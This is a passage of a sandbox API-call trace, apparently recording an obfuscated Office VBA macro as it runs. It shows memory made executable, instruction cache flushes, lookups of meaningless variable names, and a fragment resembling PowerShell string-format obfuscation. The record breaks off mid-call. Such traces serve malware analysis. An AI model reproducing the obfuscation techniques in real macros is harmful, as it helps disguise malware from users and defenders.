[0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ac54, dwSize=0x45) returned 1 [0076.146] VirtualProtect (in: lpAddress=0x662ac54, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff90c | out: lpflOldProtect=0x1ff90c*=0x40) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662acdc, dwSize=0x45) returned 1 [0076.146] VirtualProtect (in: lpAddress=0x662acdc, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x1ff90c | out: lpflOldProtect=0x1ff90c*=0x40) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad59, dwSize=0x8) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad58, dwSize=0x8) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662ad68, dwSize=0x2) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a2bc, dwSize=0x4d) returned 1 [0076.146] VirtualProtect (in: lpAddress=0x662a2bc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff90c | out: lpflOldProtect=0x1ff90c*=0x40) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a341, dwSize=0x8) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.146] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a340, dwSize=0x8) returned 1 [0076.146] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a350, dwSize=0x2) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a3a4, dwSize=0x4d) returned 1 [0076.147] VirtualProtect (in: lpAddress=0x662a3a4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff90c | out: lpflOldProtect=0x1ff90c*=0x40) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a429, dwSize=0x8) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a428, dwSize=0x8) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662a438, dwSize=0x2) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b53c, dwSize=0x4d) returned 1 [0076.147] VirtualProtect (in: lpAddress=0x662b53c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff90c | out: lpflOldProtect=0x1ff90c*=0x40) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c1, dwSize=0x8) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5c0, dwSize=0x8) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b5d0, dwSize=0x2) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b624, dwSize=0x4d) returned 1 [0076.147] VirtualProtect (in: lpAddress=0x662b624, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff90c | out: lpflOldProtect=0x1ff90c*=0x40) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a9, dwSize=0x8) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6a8, dwSize=0x8) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b6b8, dwSize=0x2) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627dbc, dwSize=0x4d) returned 1 [0076.147] VirtualProtect (in: lpAddress=0x6627dbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff90c | out: lpflOldProtect=0x1ff90c*=0x40) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e41, dwSize=0x8) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e40, dwSize=0x8) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627e50, dwSize=0x2) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627ea4, dwSize=0x4d) returned 1 [0076.147] VirtualProtect (in: lpAddress=0x6627ea4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff90c | out: lpflOldProtect=0x1ff90c*=0x40) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f29, dwSize=0x8) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f28, dwSize=0x8) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6627f38, dwSize=0x2) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b78c, dwSize=0x4d) returned 1 [0076.147] VirtualProtect (in: lpAddress=0x662b78c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff90c | out: lpflOldProtect=0x1ff90c*=0x40) returned 1 [0076.147] GetCurrentProcess () returned 0xffffffffffffffff [0076.147] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b811, dwSize=0x8) returned 1 [0076.148] GetCurrentProcess () returned 0xffffffffffffffff [0076.148] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b810, dwSize=0x8) returned 1 [0076.148] GetCurrentProcess () returned 0xffffffffffffffff [0076.148] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b820, dwSize=0x2) returned 1 [0076.148] GetCurrentProcess () returned 0xffffffffffffffff [0076.148] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662b874, dwSize=0x4d) returned 1 [0076.148] VirtualProtect (in: lpAddress=0x662b874, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff90c | out: lpflOldProtect=0x1ff90c*=0x40) returned 1 [0076.148] GetCurrentProcess () returned 0xffffffffffffffff [0076.148] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x662afa4, dwSize=0x4c) returned 1 [0076.148] RtlLookupFunctionEntry (in: ControlPc=0x662afa4, ImageBase=0x1ff7f8, HistoryTable=0x1ff800 | out: ImageBase=0x1ff7f8, HistoryTable=0x1ff800) returned 0x0 [0076.148] VirtualProtect (in: lpAddress=0x662afa4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x1ff8fc | out: lpflOldProtect=0x1ff8fc*=0x40) returned 1 [0076.148] RtlAddFunctionTable (FunctionTable=0x662b000, EntryCount=0x1, BaseAddress=0x662af00, TargetGp=0x1ff8fc) returned 1 [0076.148] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.148] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0076.148] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5bf0000 [0076.148] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001b6df00000c17) returned 1 [0076.148] SetErrorMode (uMode=0x8001) returned 0x8001 [0076.149] GetProcAddress (hModule=0x7fee5bf0000, lpProcName=0x258) returned 0x7fee5cec6fc [0076.149] GetCurrentProcess () returned 0xffffffffffffffff [0076.149] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x6628bec, dwSize=0x43) returned 1 [0076.149] RtlLookupFunctionEntry (in: ControlPc=0x6628bec, ImageBase=0x1ff798, HistoryTable=0x1ff7a0 | out: ImageBase=0x1ff798, HistoryTable=0x1ff7a0) returned 0x0 [0076.149] VirtualProtect (in: lpAddress=0x6628bec, dwSize=0x44, flNewProtect=0x40, lpflOldProtect=0x1ff89c | out: lpflOldProtect=0x1ff89c*=0x40) returned 1 [0076.149] RtlAddFunctionTable (FunctionTable=0x6628c3c, EntryCount=0x1, BaseAddress=0x6628b00, TargetGp=0x1ff89c) returned 1 [0076.149] IUnknown:AddRef (This=0xb824728) returned 0x3 [0076.149] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200cc8 | out: ppvObject=0x200cc8*=0x0) returned 0x80004002 [0076.149] IUnknown:QueryInterface (in: This=0xb824728, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200cc0 | out: ppvObject=0x200cc0*=0x0) returned 0x80004002 [0076.149] IUnknown:Release (This=0xb824728) returned 0x2 [0076.149] IUnknown:AddRef (This=0xb824780) returned 0x6 [0076.149] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200cc8 | out: ppvObject=0x200cc8*=0x0) returned 0x80004002 [0076.149] IUnknown:QueryInterface (in: This=0xb824780, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200cc0 | out: ppvObject=0x200cc0*=0x0) returned 0x80004002 [0076.149] IUnknown:Release (This=0xb824780) returned 0x5 [0076.149] IUnknown:AddRef (This=0xb824678) returned 0x2 [0076.149] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200cc8 | out: ppvObject=0x200cc8*=0x0) returned 0x80004002 [0076.149] IUnknown:QueryInterface (in: This=0xb824678, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200cc0 | out: ppvObject=0x200cc0*=0x0) returned 0x80004002 [0076.149] IUnknown:Release (This=0xb824678) returned 0x1 [0076.149] IUnknown:AddRef (This=0xb934ce8) returned 0x3 [0076.149] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200cc8 | out: ppvObject=0x200cc8*=0x0) returned 0x80004002 [0076.149] IUnknown:QueryInterface (in: This=0xb934ce8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200cc0 | out: ppvObject=0x200cc0*=0x0) returned 0x80004002 [0076.149] IUnknown:Release (This=0xb934ce8) returned 0x2 [0076.149] IUnknown:AddRef (This=0xb95f138) returned 0x3 [0076.149] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200cc8 | out: ppvObject=0x200cc8*=0x0) returned 0x80004002 [0076.149] IUnknown:QueryInterface (in: This=0xb95f138, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200cc0 | out: ppvObject=0x200cc0*=0x0) returned 0x80004002 [0076.149] IUnknown:Release (This=0xb95f138) returned 0x2 [0076.149] IUnknown:AddRef (This=0xb9412f8) returned 0x3 [0076.149] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f86b40*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200cc8 | out: ppvObject=0x200cc8*=0x0) returned 0x80004002 [0076.149] IUnknown:QueryInterface (in: This=0xb9412f8, riid=0x7fee5f8add8*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x200cc0 | out: ppvObject=0x200cc0*=0x0) returned 0x80004002 [0076.149] IUnknown:Release (This=0xb9412f8) returned 0x2 [0076.150] IMalloc:Alloc (This=0x7fefe465380, cb=0x810) returned 0x6784e30 [0076.163] IUnknown:AddRef (This=0xb824678) returned 0x2 [0076.163] IUnknown:Release (This=0xb824678) returned 0x1 [0076.163] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb899900 [0076.163] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.163] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.163] GetCurrentProcess () returned 0xffffffffffffffff [0076.163] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x4c) returned 1 [0076.163] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.163] IUnknown:AddRef (This=0xb824678) returned 0x2 [0076.163] IUnknown:Release (This=0xb824678) returned 0x1 [0076.163] IMalloc:Alloc (This=0x7fefe465380, cb=0x26d) returned 0xb899900 [0076.163] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.163] IMalloc:GetSize (This=0x7fefe465380, pv=0xb899900) returned 0x26d [0076.163] GetCurrentProcess () returned 0xffffffffffffffff [0076.163] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x4c) returned 1 [0076.163] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.164] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x4c) returned 1 [0076.164] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792dd2, cbMultiByte=11, lpWideCharStr=0x1ff5d0, cchWideChar=12 | out: lpWideCharStr="nagilanile") returned 11 [0076.164] ITypeComp:RemoteBind (in: This=0x679bb90, szName="nagilanile", lHashVal=0x10105d, wFlags=0x5, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792dd2, cbMultiByte=11, lpWideCharStr=0x1ff5d0, cchWideChar=12 | out: lpWideCharStr="nagilanile") returned 11 [0076.164] ITypeComp:RemoteBind (in: This=0x5a48630, szName="nagilanile", lHashVal=0x10105d, wFlags=0x5, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792dd2, cbMultiByte=11, lpWideCharStr=0x1ff5d0, cchWideChar=12 | out: lpWideCharStr="nagilanile") returned 11 [0076.164] ITypeComp:RemoteBind (in: This=0x679c130, szName="nagilanile", lHashVal=0x10105d, wFlags=0x5, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792dd2, cbMultiByte=11, lpWideCharStr=0x1ff5d0, cchWideChar=12 | out: lpWideCharStr="nagilanile") returned 11 [0076.164] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="nagilanile", lHashVal=0x10105d, wFlags=0x5, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.164] IMalloc:Alloc (This=0x7fefe465380, cb=0x12) returned 0x62ed410 [0076.164] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0xb, _Src=0x5792dd2 | out: _Dst=0x62ed410) returned 0x0 [0076.164] strcpy_s (in: _Dst=0x1ff6e0, _DstSize=0x12, _Src="_B_var_nagilanile" | out: _Dst="_B_var_nagilanile") returned 0x0 [0076.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff6e0, cbMultiByte=18, lpWideCharStr=0x1ff530, cchWideChar=18 | out: lpWideCharStr="_B_var_nagilanile") returned 18 [0076.164] IUnknown:AddRef (This=0x679bb80) returned 0x8 [0076.164] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_nagilanile", lHashVal=0x107ec7, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=0, pBstrLibName=0x1ff530) returned 0x0 [0076.164] IUnknown:Release (This=0x679bb80) returned 0x7 [0076.165] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.165] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_nagilanile", lHashVal=0x107ec7, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=0, pBstrLibName=0x1ff530) returned 0x0 [0076.165] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.165] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.165] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_nagilanile", lHashVal=0x107ec7, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=0, pBstrLibName=0x1ff530) returned 0x0 [0076.165] IUnknown:Release (This=0x679c120) returned 0x7 [0076.165] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.165] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_nagilanile", lHashVal=0x107ec7, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=0, pBstrLibName=0x1ff530) returned 0x0 [0076.165] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.165] IUnknown:AddRef (This=0x679bb80) returned 0x8 [0076.165] IUnknown:Release (This=0x679bb80) returned 0x7 [0076.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d10176, cbMultiByte=18, lpWideCharStr=0x1ff590, cchWideChar=19 | out: lpWideCharStr="_B_var_nagilanile") returned 18 [0076.165] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_nagilanile", lHashVal=0x107ec7, wFlags=0x5, ppTInfo=0x1ff548, pDescKind=0x1ff55c, ppFuncDesc=0x1ff560, ppVarDesc=0x6e005f00720061, ppTypeComp=0x6c006900000000, pDummy=0x0 | out: ppTInfo=0x1ff548*=0x0, pDescKind=0x1ff55c*=0, ppFuncDesc=0x1ff560, ppVarDesc=0x6e005f00720061, ppTypeComp=0x6c006900000000, pDummy=0x0) returned 0x0 [0076.165] _mbscpy_s (in: _Dst=0x1ff750, _DstSizeInBytes=0xb, _Src=0x5792dd2 | out: _Dst=0x1ff750) returned 0x0 [0076.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792e2a, cbMultiByte=12, lpWideCharStr=0x1ff5d0, cchWideChar=13 | out: lpWideCharStr="copengagend") returned 12 [0076.165] ITypeComp:RemoteBind (in: This=0x679bb90, szName="copengagend", lHashVal=0x1086e2, wFlags=0x5, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792e2a, cbMultiByte=12, lpWideCharStr=0x1ff5d0, cchWideChar=13 | out: lpWideCharStr="copengagend") returned 12 [0076.165] ITypeComp:RemoteBind (in: This=0x5a48630, szName="copengagend", lHashVal=0x1086e2, wFlags=0x5, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792e2a, cbMultiByte=12, lpWideCharStr=0x1ff5d0, cchWideChar=13 | out: lpWideCharStr="copengagend") returned 12 [0076.165] ITypeComp:RemoteBind (in: This=0x679c130, szName="copengagend", lHashVal=0x1086e2, wFlags=0x5, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792e2a, cbMultiByte=12, lpWideCharStr=0x1ff5d0, cchWideChar=13 | out: lpWideCharStr="copengagend") returned 12 [0076.165] ITypeComp:RemoteBind (in: This=0x679c6d0, szName="copengagend", lHashVal=0x1086e2, wFlags=0x5, ppTInfo=0x1ff588, pDescKind=0x1ff59c, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0 | out: ppTInfo=0x1ff588*=0x0, pDescKind=0x1ff59c*=0, ppFuncDesc=0x1ff5a0, ppVarDesc=0x479d490, ppTypeComp=0x0, pDummy=0x0) returned 0x0 [0076.165] IMalloc:Alloc (This=0x7fefe465380, cb=0x13) returned 0x62ed410 [0076.165] _mbscpy_s (in: _Dst=0x62ed410, _DstSizeInBytes=0xc, _Src=0x5792e2a | out: _Dst=0x62ed410) returned 0x0 [0076.165] strcpy_s (in: _Dst=0x1ff6e0, _DstSize=0x13, _Src="_B_var_copengagend" | out: _Dst="_B_var_copengagend") returned 0x0 [0076.165] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1ff6e0, cbMultiByte=19, lpWideCharStr=0x1ff530, cchWideChar=19 | out: lpWideCharStr="_B_var_copengagend") returned 19 [0076.165] IUnknown:AddRef (This=0x679bb80) returned 0x8 [0076.165] ITypeLib:RemoteIsName (in: This=0x679bb80, szNameBuf="_B_var_copengagend", lHashVal=0x1068c3, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=0, pBstrLibName=0x1ff530) returned 0x0 [0076.165] IUnknown:Release (This=0x679bb80) returned 0x7 [0076.165] IUnknown:AddRef (This=0x5a48620) returned 0x11 [0076.165] ITypeLib:RemoteIsName (in: This=0x5a48620, szNameBuf="_B_var_copengagend", lHashVal=0x1068c3, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=0, pBstrLibName=0x1ff530) returned 0x0 [0076.165] IUnknown:Release (This=0x5a48620) returned 0x10 [0076.166] IUnknown:AddRef (This=0x679c120) returned 0x8 [0076.166] ITypeLib:RemoteIsName (in: This=0x679c120, szNameBuf="_B_var_copengagend", lHashVal=0x1068c3, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=0, pBstrLibName=0x1ff530) returned 0x0 [0076.166] IUnknown:Release (This=0x679c120) returned 0x7 [0076.166] IUnknown:AddRef (This=0x679c6c0) returned 0x6 [0076.166] ITypeLib:RemoteIsName (in: This=0x679c6c0, szNameBuf="_B_var_copengagend", lHashVal=0x1068c3, pfName=0x1ff600, pBstrLibName=0x1ff530 | out: pfName=0x1ff600*=0, pBstrLibName=0x1ff530) returned 0x0 [0076.166] IUnknown:Release (This=0x679c6c0) returned 0x5 [0076.166] IUnknown:AddRef (This=0x679bb80) returned 0x8 [0076.166] IUnknown:Release (This=0x679bb80) returned 0x7 [0076.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5d101aa, cbMultiByte=19, lpWideCharStr=0x1ff590, cchWideChar=20 | out: lpWideCharStr="_B_var_copengagend") returned 19 [0076.166] ITypeComp:RemoteBind (in: This=0x679bb90, szName="_B_var_copengagend", lHashVal=0x1068c3, wFlags=0x5, ppTInfo=0x1ff548, pDescKind=0x1ff55c, ppFuncDesc=0x1ff560, ppVarDesc=0x63005f00720061, ppTypeComp=0x6e006500000000, pDummy=0x0 | out: ppTInfo=0x1ff548*=0x0, pDescKind=0x1ff55c*=0, ppFuncDesc=0x1ff560, ppVarDesc=0x63005f00720061, ppTypeComp=0x6e006500000000, pDummy=0x0) returned 0x0 [0076.166] _mbscpy_s (in: _Dst=0x1ff750, _DstSizeInBytes=0xc, _Src=0x5792e2a | out: _Dst=0x1ff750) returned 0x0 [0076.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6395b78, cbMultiByte=14, lpWideCharStr=0x5dc3618, cchWideChar=30 | out: lpWideCharStr="0}{2}{4}\\\" -f'") returned 14 [0076.166] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb899900, dwSize=0x4c) returned 1 [0076.166] IMalloc:Free (This=0x7fefe465380, pv=0xb899900) [0076.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6395bcc, cbMultiByte=2, lpWideCharStr=0x5ec02e4, cchWideChar=6 | out: lpWideCharStr="'d") returned 2 [0076.166] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x5792e56, cbMultiByte=11, 